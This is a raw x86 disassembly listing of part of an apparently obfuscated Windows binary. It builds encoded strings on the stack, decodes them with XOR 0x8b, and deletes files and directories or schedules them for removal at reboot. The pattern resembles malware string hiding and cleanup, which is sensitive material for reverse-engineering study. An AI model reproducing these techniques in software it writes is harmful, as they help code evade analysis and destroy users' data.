mov dword [ebp - 0x3fc], 0x78304443
mov dword [ebp - 0x3f8], 0x5967415a
mov dword [ebp - 0x3f4], 0x57304447
mov dword [ebp - 0x3f0], 0x76457750
mov dword [ebp - 0x3ec], 0x65675444
mov dword [ebp - 0x3e8], 0x77416743
mov dword [ebp - 0x3e4], 0x374a794d
mov dword [ebp - 0x3e0], 0x6c344145
mov dword [ebp - 0x3dc], 0x51737765
mov dword [ebp - 0x3d8], 0x36457965
mov dword [ebp - 0x3d4], 0x56596742
mov dword [ebp - 0x3d0], 0x6c6f484e
mov dword [ebp - 0x3cc], 0x50455741
mov dword [ebp - 0x3c8], 0x71497750
mov dword [ebp - 0x3c4], 0x2b317742
mov dword [ebp - 0x3c0], 0x53304844
mov dword [ebp - 0x3bc], 0x55514465
mov dword [ebp - 0x3b8], 0x67307a43
mov dword [ebp - 0x3b4], 0x6f6b3248
mov dword [ebp - 0x3b0], 0x75594164
mov dword [ebp - 0x3ac], 0x73647946
mov dword [ebp - 0x3a8], 0x58676a4b
mov dword [ebp - 0x3a4], 0x466f6d63
mov dword [ebp - 0x3a0], 0x57417a4d
mov dword [ebp - 0x39c], 0x6f594842
mov dword [ebp - 0x398], 0x47304343
mov dword [ebp - 0x394], 0x39565446
mov dword [ebp - 0x390], 0x31345341
mov dword [ebp - 0x38c], 0x36557a49
mov dword [ebp - 0x388], 0x7a59794c
mov dword [ebp - 0x384], 0x7a77774d
mov dword [ebp - 0x380], 0x45307859
mov dword [ebp - 0x37c], 0x304e4345
mov dword [ebp - 0x378], 0x4a495841
mov dword [ebp - 0x374], 0x3731584f
mov dword [ebp - 0x370], 0x74456743
mov dword [ebp - 0x36c], 0x6573534a
mov dword [ebp - 0x368], 0x2f735241
mov dword [ebp - 0x364], 0x716b324a
mov dword [ebp - 0x360], 0x79304846
mov dword [ebp - 0x35c], 0x74774344
push dword [ebp - 8]
lea ecx, [ebp - 0x71c]
mov dword [ebp - 0x358], 0x6541324b
mov dword [ebp - 0x354], 0x64417949
mov dword [ebp - 0x350], 0x4477674b
mov dword [ebp - 0x34c], 0x5973434e
mov dword [ebp - 0x348], 0x4d344350
mov dword [ebp - 0x344], 0x61735165
mov dword [ebp - 0x340], 0x63733348
mov dword [ebp - 0x33c], 0x36735249
mov dword [ebp - 0x338], 0x52557a4a
mov dword [ebp - 0x334], 0x74517a48
mov dword [ebp - 0x330], 0x7a776759
mov dword [ebp - 0x32c], 0x36564150
mov dword [ebp - 0x328], 0x4e51685a
mov dword [ebp - 0x324], 0x364e414e
mov dword [ebp - 0x320], 0x43455449
mov dword [ebp - 0x31c], 0x59494249
mov dword [ebp - 0x318], 0x64734445
mov dword [ebp - 0x314], 0x66455342
mov dword [ebp - 0x310], 0x67346946
mov dword [ebp - 0x30c], 0x6b645441
mov dword [ebp - 0x308], 0x5a494359
mov dword [ebp - 0x304], 0x47516d47
mov dword [ebp - 0x300], 0x67495842
mov dword [ebp - 0x2fc], 0x4145414b
mov dword [ebp - 0x2f8], 0x6b454141
call fcn.004aec30
sub esp, 0xc
mov ecx, esp
mov edi, dword [eax]
lea eax, [ebp - 0x2f4]
push dword [ebp - 0x4b4]
mov dword [ebp - 0x644], edi
push eax
lea eax, [ebp - 0x49c]
mov dword [ecx], 0
push eax
push 0
mov dword [ecx + 4], 0
mov dword [ecx + 8], 0
call fcn.004660a0
lea eax, [ebp - 0x758]
push eax
call fcn.0047fb90
add esp, 0x10
mov ecx, dword [eax + 4]
sub ecx, dword [eax]
je 0x489221
xor eax, eax
xor ebx, ebx
mov dword [ebp - 0x664], eax
xor ecx, ecx
mov dword [ebp - 0x660], eax
xor edx, edx
mov dword [ebp - 0x65c], eax
mov dword [ebp - 0x634], eax
lea eax, [edi + 1]
mov dword [ebp - 0x664], ebx
mov dword [ebp - 0x660], ecx
mov dword [ebp - 0x65c], edx
mov dword [ebp - 0x63c], eax
lea esp, [esp]
mov al, byte [edi]
inc edi
test al, al
jne 0x486ac0
sub edi, dword [ebp - 0x63c]
je 0x486c56
mov edi, dword [ebp - 0x634]
lea esi, [ebp - 0x635]
mov eax, dword [ebp - 0x644]
mov al, byte [edi + eax]
xor al, 0x8b
cmp esi, ecx
mov esi, dword [ebp - 0x64c]
mov byte [ebp - 0x259], al
mov byte [ebp - 0x635], al
jae 0x486b8d
lea esi, [ebp - 0x635]
cmp ebx, esi
mov esi, dword [ebp - 0x64c]
ja 0x486b8d
lea eax, [ebp - 0x635]
sub eax, ebx
mov dword [ebp - 0x63c], eax
cmp ecx, edx
jne 0x486b84
mov eax, edx
sub eax, ecx
cmp eax, 1
jae 0x486b7e
mov eax, ebx
sub eax, ecx
dec eax
cmp eax, 1
jb 0x489235
sub edx, ebx
or eax, 0xffffffff
mov edi, edx
sub ecx, ebx
shr edi, 1
inc ecx
sub eax, edi
cmp eax, edx
jae 0x486b53
xor edx, edx
jmp 0x486b55
add edx, edi
cmp edx, ecx
cmovb edx, ecx
lea ecx, [ebp - 0x664]
push edx
call fcn.0046ae20
mov edx, dword [ebp - 0x65c]
mov ecx, dword [ebp - 0x660]
mov ebx, dword [ebp - 0x664]
mov edi, dword [ebp - 0x634]
mov eax, dword [ebp - 0x63c]
test ecx, ecx
je 0x486bf5
mov al, byte [ebx + eax]
jmp 0x486bf3
cmp ecx, edx
jne 0x486bef
mov eax, edx
sub eax, ecx
cmp eax, 1
jae 0x486be9
mov eax, ebx
sub eax, ecx
dec eax
cmp eax, 1
jb 0x489235
sub edx, ebx
or eax, 0xffffffff
mov edi, edx
sub ecx, ebx
shr edi, 1
inc ecx
sub eax, edi
cmp eax, edx
jae 0x486bbe
xor edx, edx
jmp 0x486bc0
add edx, edi
cmp edx, ecx
cmovb edx, ecx
lea ecx, [ebp - 0x664]
push edx
call fcn.0046ae20
mov edx, dword [ebp - 0x65c]
mov ecx, dword [ebp - 0x660]
mov ebx, dword [ebp - 0x664]
mov edi, dword [ebp - 0x634]
mov al, byte [ebp - 0x259]
test ecx, ecx
je 0x486bf5
mov byte [ecx], al
inc ecx
inc edi
mov dword [ebp - 0x634], edi
mov edi, dword [ebp - 0x644]
mov dword [ebp - 0x660], ecx
lea eax, [edi + 1]
mov dword [ebp - 0x63c], eax
mov al, byte [edi]
inc edi
test al, al
jne 0x486c12
sub edi, dword [ebp - 0x63c]
cmp dword [ebp - 0x634], edi
jb 0x486ad3
test ebx, ebx
je 0x486c56
push ebx
call fcn.0053c1e0
add esp, 4
mov dword [ebp - 0x664], 0
mov dword [ebp - 0x660], 0
mov dword [ebp - 0x65c], 0
mov eax, dword [ebp - 0x758]
test eax, eax
je 0x486c87
push eax
call fcn.0053c1e0
add esp, 4
mov dword [ebp - 0x758], 0
mov dword [ebp - 0x754], 0
mov dword [ebp - 0x750], 0
mov edx, dword [ebp - 0x71c]
or ecx, 0xffffffff
add edx, 0xfffffff0
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x486ca7
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ebx, dword [ebp + 0x10]
push dword [ebp - 8]
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x48763c
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
test eax, eax
jne 0x48763c
test ebx, ebx
je 0x486cdc
push 4
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
mov dword [ebp - 0x5a0], 0x35417a46
mov dword [ebp - 0x59c], 0x6b734450
mov dword [ebp - 0x598], 0x6c636861
mov dword [ebp - 0x594], 0x6c4d6949
mov dword [ebp - 0x590], 0x3741694f
mov dword [ebp - 0x58c], 0x44734750
mov dword [ebp - 0x588], 0x67774349
mov dword [ebp - 0x584], 0x324a4450
mov dword [ebp - 0x580], 0x6d674447
mov dword [ebp - 0x57c], 0x42636e4b
mov dword [ebp - 0x578], 0x5a77514d
mov dword [ebp - 0x574], 0x43774450
mov dword [ebp - 0x570], 0x4e595149
mov dword [ebp - 0x56c], 0x77595246
mov dword [ebp - 0x568], 0x36427766
mov dword [ebp - 0x564], 0x6f356843
mov dword [ebp - 0x560], 0x71304849
mov dword [ebp - 0x55c], 0x53774445
mov dword [ebp - 0x558], 0x66384141
mov dword [ebp - 0x554], 0x4c557a46
mov dword [ebp - 0x550], 0x52737a63
mov dword [ebp - 0x54c], 0x356b5142
mov dword [ebp - 0x548], 0x34705244
mov dword [ebp - 0x544], 0x70595461
mov dword [ebp - 0x540], 0x7a306947
mov dword [ebp - 0x53c], 0x7067684c
mov dword [ebp - 0x538], 0x76305344
mov dword [ebp - 0x534], 0x79455448
mov dword [ebp - 0x530], 0x67706a47
mov dword [ebp - 0x52c], 0x5638544c
mov dword [ebp - 0x528], 0x68525250
mov dword [ebp - 0x524], 0x736c4242
mov dword [ebp - 0x520], 0x75597865
mov dword [ebp - 0x51c], 0x77555347
mov dword [ebp - 0x518], 0x4d496749
mov dword [ebp - 0x514], 0x38676844
mov dword [ebp - 0x510], 0x34777849
mov dword [ebp - 0x50c], 0x454d7743
mov dword [ebp - 0x508], 0x4e386d4d
mov dword [ebp - 0x504], 0x44676747
mov dword [ebp - 0x500], 0x63455250
mov dword [ebp - 0x4fc], 0x57637846
mov dword [ebp - 0x4f8], 0x41496a4a
mov dword [ebp - 0x4f4], 0x2b397742
mov dword [ebp - 0x4f0], 0x2f747a66
mov dword [ebp - 0x4ec], 0x79316a64
mov dword [ebp - 0x4e8], 0x345a5842
mov dword [ebp - 0x4e4], 0x37786742
mov dword [ebp - 0x4e0], 0x38345345
mov dword [ebp - 0x4dc], 0x326b7941
mov dword [ebp - 0x4d8], 0x69704463
mov dword [ebp - 0x4d4], 0x4f77445a
mov dword [ebp - 0x4d0], 0x70417849
mov dword [ebp - 0x4cc], 0x4c597a44
mov dword [ebp - 0x4c8], 0x34736a65
mov dword [ebp - 0x4c4], 0x7a524248
mov dword [ebp - 0x4c0], 0x41636a42
mov dword [ebp - 0x4bc], 0x41414141
mov word [ebp - 0x4b8], 0x676a
mov dword [ebp - 0x2c8], 0x34415441
mov dword [ebp - 0x2c4], 0x6b6b6a4e
mov dword [ebp - 0x2c0], 0x2b6f6a44
mov dword [ebp - 0x2bc], 0x7955534e
mov dword [ebp - 0x2b8], 0x77305449
mov dword [ebp - 0x2b4], 0x69515343
mov dword [ebp - 0x2b0], 0x6a6b7962
mov dword [ebp - 0x2ac], 0x334d6750
mov dword [ebp - 0x2a8], 0x5845574a
mov dword [ebp - 0x2a4], 0x376b6e4d
mov dword [ebp - 0x2a0], 0x64386a49
mov dword [ebp - 0x29c], 0x4a636a43
mov dword [ebp - 0x298], 0x4b557a47
mov dword [ebp - 0x294], 0x67496946
mov dword [ebp - 0x290], 0x68677843
mov dword [ebp - 0x28c], 0x6d497949
mov dword [ebp - 0x288], 0x76593364
mov dword [ebp - 0x284], 0x79385361
mov dword [ebp - 0x280], 0x3351484d
mov dword [ebp - 0x27c], 0x46347746
mov dword [ebp - 0x278], 0x6b357849
mov dword [ebp - 0x274], 0x5a34794a
sub esp, 0xc
mov dword [ebp - 0x270], 0x564d6745
mov ecx, esp
mov dword [ebp - 0x26c], 0x4830795a
lea eax, [ebp - 0x4b6]
mov dword [ebp - 0x268], 0x74454144
mov dword [ebp - 0x264], 0x4141414b
push dword [ebp - 0x4b4]
mov word [ebp - 0x260], 0x4441
push eax
lea eax, [ebp - 0x5a0]
mov byte [ebp - 0x25e], 0x59
push eax
push 0
mov dword [ecx], 0
mov dword [ecx + 4], 0
mov dword [ecx + 8], 0
call fcn.004660a0
lea eax, [ebp - 0x788]
push eax
call fcn.0047fb90
add esp, 0x10
mov ebx, dword [eax]
mov eax, dword [eax + 4]
sub eax, ebx
je 0x489221
sub esp, 0xc
lea eax, [ebp - 0x25d]
mov ecx, esp
push dword [ebp - 0x4b4]
mov dword [ecx], 0
push eax
lea eax, [ebp - 0x2c8]
mov dword [ecx + 4], 0
push eax
push 0
mov dword [ecx + 8], 0
call fcn.004660a0
lea eax, [ebp - 0x770]
push eax
call fcn.0047fb90
add esp, 0x10
mov ecx, dword [eax + 4]
sub ecx, dword [eax]
je 0x489221
xor eax, eax
mov ecx, ebx
mov dword [ebp - 0x6e8], eax
xor edi, edi
mov dword [ebp - 0x6e4], eax
mov dword [ebp - 0x6e0], eax
mov dword [ebp - 0x6e8], eax
lea edx, [ecx + 1]
mov dword [ebp - 0x6e4], eax
mov dword [ebp - 0x6e0], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x487108
sub ecx, edx
je 0x487174
mov al, byte [ebx + edi]
lea ecx, [ebp - 0x6e8]
xor al, 0x8b
mov byte [ebp - 0x259], al
lea eax, [ebp - 0x259]
push eax
call fcn.0046daf0
mov ecx, ebx
inc edi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x487136
sub ecx, edx
cmp edi, ecx
jb 0x487113
mov eax, dword [ebp - 0x6e8]
test eax, eax
je 0x487174
push eax
call fcn.0053c1e0
add esp, 4
mov dword [ebp - 0x6e8], 0
mov dword [ebp - 0x6e4], 0
mov dword [ebp - 0x6e0], 0
mov eax, dword [ebp - 0x770]
test eax, eax
je 0x4871a5
push eax
call fcn.0053c1e0
add esp, 4
mov dword [ebp - 0x770], 0
mov dword [ebp - 0x76c], 0
mov dword [ebp - 0x768], 0
mov eax, dword [ebp - 0x788]
test eax, eax
je 0x4871d6
push eax
call fcn.0053c1e0
add esp, 4
mov dword [ebp - 0x788], 0
mov dword [ebp - 0x784], 0
mov dword [ebp - 0x780], 0
push dword [ebp - 8]
lea ecx, [ebp - 0x724]
mov dword [ebp - 0x5f0], 0x34415441
mov dword [ebp - 0x5ec], 0x6b6b6a4e
mov dword [ebp - 0x5e8], 0x2b6f6a44
mov dword [ebp - 0x5e4], 0x7955534e
mov dword [ebp - 0x5e0], 0x77305449
mov dword [ebp - 0x5dc], 0x69515343
mov dword [ebp - 0x5d8], 0x6a6b7962
mov dword [ebp - 0x5d4], 0x47386d50
mov dword [ebp - 0x5d0], 0x5959524c
mov dword [ebp - 0x5cc], 0x57307846
mov dword [ebp - 0x5c8], 0x62594448
mov dword [ebp - 0x5c4], 0x7a5a514f
mov dword [ebp - 0x5c0], 0x416b7950
mov dword [ebp - 0x5bc], 0x66385842
mov dword [ebp - 0x5b8], 0x36346746
mov dword [ebp - 0x5b4], 0x456b5844
mov dword [ebp - 0x5b0], 0x36416a45
mov dword [ebp - 0x5ac], 0x736b7841
mov dword [ebp - 0x5a8], 0x2b6b4363
mov dword [ebp - 0x5a4], 0x68384149
mov dword [ebp - 0x5a0], 0x6e31784e
mov dword [ebp - 0x59c], 0x4e6f7761
mov dword [ebp - 0x598], 0x6645434c
mov dword [ebp - 0x594], 0x4d4d674f
mov dword [ebp - 0x590], 0x42556741
mov dword [ebp - 0x58c], 0x43456a45
mov dword [ebp - 0x588], 0x69597a64
mov dword [ebp - 0x584], 0x696f6a61
mov dword [ebp - 0x580], 0x48594241
mov dword [ebp - 0x57c], 0x68455341
mov dword [ebp - 0x578], 0x38734441
mov dword [ebp - 0x574], 0x756b4249
mov dword [ebp - 0x570], 0x41557a65
mov dword [ebp - 0x56c], 0x56495245
mov dword [ebp - 0x568], 0x67734450
mov dword [ebp - 0x564], 0x45495466
mov dword [ebp - 0x560], 0x395a484d
mov dword [ebp - 0x55c], 0x6c427950
mov dword [ebp - 0x558], 0x4438694a
mov dword [ebp - 0x554], 0x71556e44
mov dword [ebp - 0x550], 0x6d524746
mov dword [ebp - 0x54c], 0x72456948
mov dword [ebp - 0x548], 0x46556942
mov dword [ebp - 0x544], 0x4655524a
mov dword [ebp - 0x540], 0x456b584f
mov dword [ebp - 0x53c], 0x48675344
mov dword [ebp - 0x538], 0x2b774262
mov dword [ebp - 0x534], 0x6934474e
mov dword [ebp - 0x530], 0x56455143
mov dword [ebp - 0x52c], 0x766f4441
mov dword [ebp - 0x528], 0x4e417a46
mov dword [ebp - 0x524], 0x54737a49
mov dword [ebp - 0x520], 0x686b444a
mov dword [ebp - 0x51c], 0x4e63544e
mov dword [ebp - 0x518], 0x49734348
mov dword [ebp - 0x514], 0x6f557741
mov dword [ebp - 0x510], 0x63497a4f
mov dword [ebp - 0x50c], 0x37564146
mov dword [ebp - 0x508], 0x7151684d
mov dword [ebp - 0x504], 0x764e7949
mov dword [ebp - 0x500], 0x3941684c
mov dword [ebp - 0x4fc], 0x3535685a
mov dword [ebp - 0x4f8], 0x68645344
mov dword [ebp - 0x4f4], 0x74596a45
mov dword [ebp - 0x4f0], 0x4934484c
mov dword [ebp - 0x4ec], 0x7a685846
mov dword [ebp - 0x4e8], 0x656f7844
mov dword [ebp - 0x4e4], 0x336b5241
mov dword [ebp - 0x4e0], 0x68386766
mov dword [ebp - 0x4dc], 0x79397a62
mov dword [ebp - 0x4d8], 0x364d784b
mov dword [ebp - 0x4d4], 0x78566841
mov dword [ebp - 0x4d0], 0x42304448
mov dword [ebp - 0x4cc], 0x4b73534e
mov dword [ebp - 0x4c8], 0x2f636949
mov dword [ebp - 0x4c4], 0x6e49514b
mov dword [ebp - 0x4c0], 0x4138514a
mov dword [ebp - 0x4bc], 0x51444141
call fcn.004aec30
mov ebx, dword [eax]
sub esp, 0xc
mov ecx, esp
lea eax, [ebp - 0x4b8]
push dword [ebp - 0x4b4]
mov dword [ecx], 0
push eax
lea eax, [ebp - 0x5f0]
mov dword [ecx + 4], 0
push eax
push 0
mov dword [ecx + 8], 0
call fcn.004660a0
lea eax, [ebp - 0x7a0]
push eax
call fcn.0047fb90
add esp, 0x10
mov ecx, dword [eax + 4]
sub ecx, dword [eax]
je 0x489221
xor eax, eax
mov ecx, ebx
mov dword [ebp - 0x6dc], eax
xor edi, edi
mov dword [ebp - 0x6d8], eax
mov dword [ebp - 0x6d4], eax
mov dword [ebp - 0x6dc], eax
lea edx, [ecx + 1]
mov dword [ebp - 0x6d8], eax
mov dword [ebp - 0x6d4], eax
lea ecx, [ecx]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x487570
sub ecx, edx
je 0x4875e1
jmp 0x487580
mov al, byte [edi + ebx]
lea ecx, [ebp - 0x6dc]
xor al, 0x8b
mov byte [ebp - 0x259], al
lea eax, [ebp - 0x259]
push eax
call fcn.0046daf0
mov ecx, ebx
inc edi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4875a3
sub ecx, edx
cmp edi, ecx
jb 0x487580
mov eax, dword [ebp - 0x6dc]
test eax, eax
je 0x4875e1
push eax
call fcn.0053c1e0
add esp, 4
mov dword [ebp - 0x6dc], 0
mov dword [ebp - 0x6d8], 0
mov dword [ebp - 0x6d4], 0
mov eax, dword [ebp - 0x7a0]
test eax, eax
je 0x487612
push eax
call fcn.0053c1e0
add esp, 4
mov dword [ebp - 0x7a0], 0
mov dword [ebp - 0x79c], 0
mov dword [ebp - 0x798], 0
mov edx, dword [ebp - 0x724]
or ecx, 0xffffffff
add edx, 0xfffffff0
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x487632
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov dword [ebp - 0x668], 1
mov edx, dword [ebp - 8]
or ecx, 0xffffffff
add edx, 0xfffffff0
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x487659
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
add esi, 0xfffffff0
or ecx, 0xffffffff
lea eax, [esi + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x4881b7
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
jmp 0x4881b7
lea eax, [ebp - 0x22c]
mov dword [ebp - 0x2d4], 0x59595247
push eax
sub esp, 0xc
mov dword [ebp - 0x2d0], 0x746f5145
mov ecx, esp
mov dword [ebp - 0x2cc], 0x4b73414c
lea eax, [ebp - 0x25d]
mov dword [ebp - 0x2c8], 0x77455248
mov dword [ebp - 0x2c4], 0x5a776e4e
push dword [ebp - 0x4b4]
mov dword [ebp - 0x2c0], 0x304d7a64
push eax
lea eax, [ebp - 0x2d4]
mov dword [ebp - 0x2bc], 0x6c4d7863
mov dword [ebp - 0x2b8], 0x75524744
mov dword [ebp - 0x2b4], 0x416f6745
mov dword [ebp - 0x2b0], 0x7639444f
mov dword [ebp - 0x2ac], 0x54634144
mov dword [ebp - 0x2a8], 0x76345147
mov dword [ebp - 0x2a4], 0x2b464741
mov dword [ebp - 0x2a0], 0x2b466e49
mov dword [ebp - 0x29c], 0x67384446
mov dword [ebp - 0x298], 0x795a694b
mov dword [ebp - 0x294], 0x56307a45
mov dword [ebp - 0x290], 0x68347a48
mov dword [ebp - 0x28c], 0x6e466742
mov dword [ebp - 0x288], 0x4e55674a
mov dword [ebp - 0x284], 0x354e7a44
mov dword [ebp - 0x280], 0x774a6946
mov dword [ebp - 0x27c], 0x4c556844
mov dword [ebp - 0x278], 0x30456749
mov dword [ebp - 0x274], 0x74496d65
mov dword [ebp - 0x270], 0x6651434c
mov dword [ebp - 0x26c], 0x55386864
mov dword [ebp - 0x268], 0x52517949
mov dword [ebp - 0x264], 0x41414148
mov word [ebp - 0x260], 0x4641
mov byte [ebp - 0x25e], 0x51
push eax
push 0
mov dword [ebp - 0x634], 0
mov dword [ecx], 0
mov dword [ecx + 4], 0
mov dword [ecx + 8], 0
call fcn.004660a0
lea eax, [ebp - 0x74c]
push eax
call fcn.00480790
add esp, 0x10
mov ecx, dword [eax + 4]
mov edx, dword [eax]
sub ecx, edx
sar ecx, 1
je 0x489250
push edx
push dword [ebp - 0x6b8]
lea eax, [ebp - 0x708]
push eax
call fcn.004b8610
add esp, 0xc
push eax
lea eax, [ebp - 0x710]
push eax
call fcn.004b8610
add esp, 0xc
lea ecx, [ebp - 0x634]
push dword [eax]
call fcn.004672d0
mov edx, dword [ebp - 0x710]
or ecx, 0xffffffff
add edx, 0xfffffff0
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x487864
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x708]
or ecx, 0xffffffff
add edx, 0xfffffff0
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x487884
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [ebp - 0x74c]
test eax, eax
je 0x4878b5
push eax
call fcn.0053c1e0
add esp, 4
mov dword [ebp - 0x74c], 0
mov dword [ebp - 0x748], 0
mov dword [ebp - 0x744], 0
mov esi, dword [ebp - 0x634]
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x4878d9
cmp dword [ebp + 0x10], eax
je 0x4878d5
push 4
push eax
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
xor eax, eax
jmp 0x4878de
mov eax, 1
test eax, eax
jne 0x4881ac
mov dword [ebp - 0x4a0], 0x34415441
mov dword [ebp - 0x49c], 0x6b6b6a4e
mov dword [ebp - 0x498], 0x6c556861
mov dword [ebp - 0x494], 0x6d4e4350
mov dword [ebp - 0x490], 0x67344343
mov dword [ebp - 0x48c], 0x6834534b
mov dword [ebp - 0x488], 0x74555259
mov dword [ebp - 0x484], 0x7335544c
mov dword [ebp - 0x480], 0x67305244
mov dword [ebp - 0x47c], 0x78415145
mov dword [ebp - 0x478], 0x6e4d7a4d
mov dword [ebp - 0x474], 0x5a347742
mov dword [ebp - 0x470], 0x356c7950
mov dword [ebp - 0x46c], 0x726f7748
mov dword [ebp - 0x468], 0x786b3343
mov dword [ebp - 0x464], 0x68636945
mov dword [ebp - 0x460], 0x6738524b
mov dword [ebp - 0x45c], 0x6a595762
mov dword [ebp - 0x458], 0x6d6b794c
mov dword [ebp - 0x454], 0x72495145
mov dword [ebp - 0x450], 0x4f386a4a
mov dword [ebp - 0x44c], 0x74346861
mov dword [ebp - 0x448], 0x506f774c
mov dword [ebp - 0x444], 0x2b344850
mov dword [ebp - 0x440], 0x4f55524a
mov dword [ebp - 0x43c], 0x51344145
mov dword [ebp - 0x438], 0x69305347
mov dword [ebp - 0x434], 0x6d59694d
mov dword [ebp - 0x430], 0x6d524844
mov dword [ebp - 0x42c], 0x42637a62
mov dword [ebp - 0x428], 0x48305248
mov dword [ebp - 0x424], 0x59495359
mov dword [ebp - 0x420], 0x496f794c
mov dword [ebp - 0x41c], 0x3041774f
mov dword [ebp - 0x418], 0x4873794a
mov dword [ebp - 0x414], 0x574d7743
mov dword [ebp - 0x410], 0x63635244
mov dword [ebp - 0x40c], 0x69387a47
mov dword [ebp - 0x408], 0x71394747
mov dword [ebp - 0x404], 0x566f484e
mov dword [ebp - 0x400], 0x6a39774d
mov dword [ebp - 0x3fc], 0x7a34485a
mov dword [ebp - 0x3f8], 0x76453242
mov dword [ebp - 0x3f4], 0x72387742
mov dword [ebp - 0x3f0], 0x4845414a
mov dword [ebp - 0x3ec], 0x4a384849
mov dword [ebp - 0x3e8], 0x32557a45
mov dword [ebp - 0x3e4], 0x56634245
mov dword [ebp - 0x3e0], 0x6b787847
mov dword [ebp - 0x3dc], 0x4f6f794a
mov dword [ebp - 0x3d8], 0x7a49684d
mov dword [ebp - 0x3d4], 0x784a794b
mov dword [ebp - 0x3d0], 0x4355785a
mov dword [ebp - 0x3cc], 0x7734445a
mov dword [ebp - 0x3c8], 0x4d597a4c
mov dword [ebp - 0x3c4], 0x50344363
mov dword [ebp - 0x3c0], 0x4e635863
mov dword [ebp - 0x3bc], 0x34455244
mov dword [ebp - 0x3b8], 0x72704749
mov dword [ebp - 0x3b4], 0x33785349
mov dword [ebp - 0x3b0], 0x77636a4a
mov dword [ebp - 0x3ac], 0x4e556750
mov dword [ebp - 0x3a8], 0x3942434a
mov dword [ebp - 0x3a4], 0x7238674a
mov dword [ebp - 0x3a0], 0x364a694a
mov dword [ebp - 0x39c], 0x6f457841
mov dword [ebp - 0x398], 0x4e557a4c
mov dword [ebp - 0x394], 0x4f414361
mov dword [ebp - 0x390], 0x3351334c
mov dword [ebp - 0x38c], 0x7a6b434d
mov dword [ebp - 0x388], 0x4d63784c
mov dword [ebp - 0x384], 0x78494150
mov dword [ebp - 0x380], 0x6f4d694d
mov dword [ebp - 0x37c], 0x55634459
mov dword [ebp - 0x378], 0x67676948
mov dword [ebp - 0x374], 0x7049484a
mov dword [ebp - 0x370], 0x344e334c
mov dword [ebp - 0x36c], 0x6c466862
mov dword [ebp - 0x368], 0x63304163
mov dword [ebp - 0x364], 0x56385148
mov dword [ebp - 0x360], 0x43637a4e
sub esp, 0xc
mov dword [ebp - 0x35c], 0x4c635150
mov ecx, esp
mov dword [ebp - 0x358], 0x3956774f
mov dword [ebp - 0x354], 0x7a51435a
mov dword [ebp - 0x350], 0x39636866
push dword [ebp - 0x4b4]
mov dword [ebp - 0x34c], 0x39775264
mov dword [ebp - 0x348], 0x396b6945
mov dword [ebp - 0x344], 0x31597748
mov dword [ebp - 0x340], 0x63345163
mov dword [ebp - 0x33c], 0x45385344
mov dword [ebp - 0x338], 0x6e4e5164
mov dword [ebp - 0x334], 0x59556742
mov dword [ebp - 0x330], 0x57735146
mov dword [ebp - 0x32c], 0x3077694b
mov dword [ebp - 0x328], 0x6c554243
mov dword [ebp - 0x324], 0x54674242
mov dword [ebp - 0x320], 0x2f39514d
mov dword [ebp - 0x31c], 0x6e556a4d
mov dword [ebp - 0x318], 0x30457a43
mov dword [ebp - 0x314], 0x7273694f
mov dword [ebp - 0x310], 0x78307a45
mov dword [ebp - 0x30c], 0x5834524e
mov dword [ebp - 0x308], 0x68396a45
mov dword [ebp - 0x304], 0x784d5146
mov dword [ebp - 0x300], 0x386f4446
mov dword [ebp - 0x2fc], 0x67345241
mov dword [ebp - 0x2f8], 0x4141774a
mov word [ebp - 0x2f4], 0x5341
mov byte [ebp - 0x2f2], 0x63
mov dword [ebp - 0x2cc], 0x34415441
mov dword [ebp - 0x2c8], 0x6b6b6a4e
mov dword [ebp - 0x2c4], 0x2b6f6a44
mov dword [ebp - 0x2c0], 0x7955534e
mov dword [ebp - 0x2bc], 0x77305449
mov dword [ebp - 0x2b8], 0x69515343
mov dword [ebp - 0x2b4], 0x6a6b7962
mov dword [ebp - 0x2b0], 0x56636850
mov dword [ebp - 0x2ac], 0x59344150
mov dword [ebp - 0x2a8], 0x33457765
mov dword [ebp - 0x2a4], 0x6e495766
mov dword [ebp - 0x2a0], 0x794a514a
mov dword [ebp - 0x29c], 0x6c516a50
mov dword [ebp - 0x298], 0x554d514e
mov dword [ebp - 0x294], 0x5a516965
mov dword [ebp - 0x290], 0x6a495450
mov dword [ebp - 0x28c], 0x7051694d
mov dword [ebp - 0x288], 0x434d784c
mov dword [ebp - 0x284], 0x32384744
mov dword [ebp - 0x280], 0x6f41674e
mov dword [ebp - 0x27c], 0x39634442
mov dword [ebp - 0x278], 0x486f4142
mov dword [ebp - 0x274], 0x766b6a65
mov dword [ebp - 0x270], 0x2b566a46
mov dword [ebp - 0x26c], 0x4334434b
mov dword [ebp - 0x268], 0x41347a46
mov dword [ebp - 0x264], 0x33414141
mov dword [ecx], eax
mov dword [ecx + 4], eax
mov dword [ecx + 8], eax
lea eax, [ebp - 0x2f1]
push eax
lea eax, [ebp - 0x4a0]
push eax
push 0
call fcn.004660a0
lea eax, [ebp - 0x674]
push eax
call fcn.0047fb90
add esp, 0x10
mov ecx, dword [eax + 4]
mov ebx, dword [eax]
sub ecx, ebx
je 0x489249
sub esp, 0xc
